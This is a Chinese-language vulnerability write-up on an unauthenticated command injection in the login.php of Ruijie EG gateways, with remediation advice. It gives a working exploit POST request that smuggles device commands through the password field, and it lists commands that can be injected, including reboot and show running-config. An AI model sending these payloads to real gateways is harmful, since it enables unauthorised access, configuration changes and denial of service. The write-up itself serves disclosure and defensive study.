一次有趣的锐捷EG易网关代码审计
字数 1382 2025-08-06 01:00:45
锐捷EG易网关前台无条件命令执行漏洞分析与复现
漏洞概述
本文详细分析了锐捷RG-EG系列出口网关Web管理端存在的前台无条件命令执行漏洞。该漏洞源于登录功能未对用户输入进行有效过滤,导致攻击者可通过构造恶意参数执行任意网关设备命令。
漏洞发现过程
1. 接口发现
通过Burp Suite抓包分析,发现登录功能接口为login.php,采用POST方式提交用户名和密码参数:
- 参数:
username和password - 返回格式:JSON包含状态和数据
2. 代码审计
登录处理函数分析
登录处理函数主要逻辑:
- 接收
username和password参数 - 调用
execCli()函数执行命令 - 根据返回结果判断登录状态
关键代码片段:
$res = execCli('exec', "webmaster $username $password");
execCli函数分析
execCli()函数参数:
$mode: 执行模式(此处为'exec')$command: 要执行的命令$answer: 应答参数
函数内部通过php_exec_cli与网关设备CLI模块通信,实际执行的是网关设备的命令行指令。
3. 命令执行机制
通过分析发现:
- 登录验证实际上是执行
webmaster username password命令 - 该命令是锐捷网关设备的专用命令,用于验证管理员凭据
- 由于缺乏输入过滤,攻击者可注入其他设备命令
漏洞利用
1. 命令注入原理
利用命令分隔符?可注入额外命令:
username=任意值&password=原密码?要执行的命令
实际执行的命令:
webmaster 任意值 原密码?要执行的命令
2. 利用步骤
-
构造恶意POST请求:
POST /login.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded username=test&password=123?show version -
服务器端实际执行:
webmaster test 123?show version -
响应中包含
show version命令的执行结果,显示设备版本信息
3. 可利用的命令
通过查阅锐捷设备命令手册,发现可执行以下类型命令:
- 信息查看:
show version、show running-config - 网络配置:
interface、ip address - 系统管理:
telnet、reboot - 路由操作:
route、ospf
漏洞修复建议
-
输入验证:
- 对
username和password参数进行严格过滤 - 禁止特殊字符如
?、|、&等
- 对
-
命令执行防护:
- 使用白名单机制限制可执行的命令
- 对命令参数进行转义处理
-
权限控制:
- 降低Web管理进程的执行权限
- 实现命令执行日志审计
技术总结
-
漏洞成因:
- Web接口直接拼接用户输入到设备命令中
- 缺乏有效的输入过滤和命令限制机制
-
漏洞危害:
- 获取设备敏感信息
- 修改网络配置
- 可能导致设备拒绝服务
-
审计经验:
- 网络设备Web管理端常存在类似问题
- 应特别关注执行设备命令的接口
- 社工手段(如获取设备手册)有助于漏洞分析
附录:常见锐捷设备命令
| 命令 | 功能描述 |
|---|---|
show version |
显示设备版本信息 |
show running-config |
显示当前运行配置 |
interface |
进入接口配置模式 |
ip address |
配置IP地址 |
telnet |
启用/禁用telnet服务 |
reboot |
重启设备 |
通过本文的分析,安全研究人员可以深入了解此类网络设备Web管理端漏洞的发现和利用方法,同时也为设备厂商提供了改进安全性的参考方向。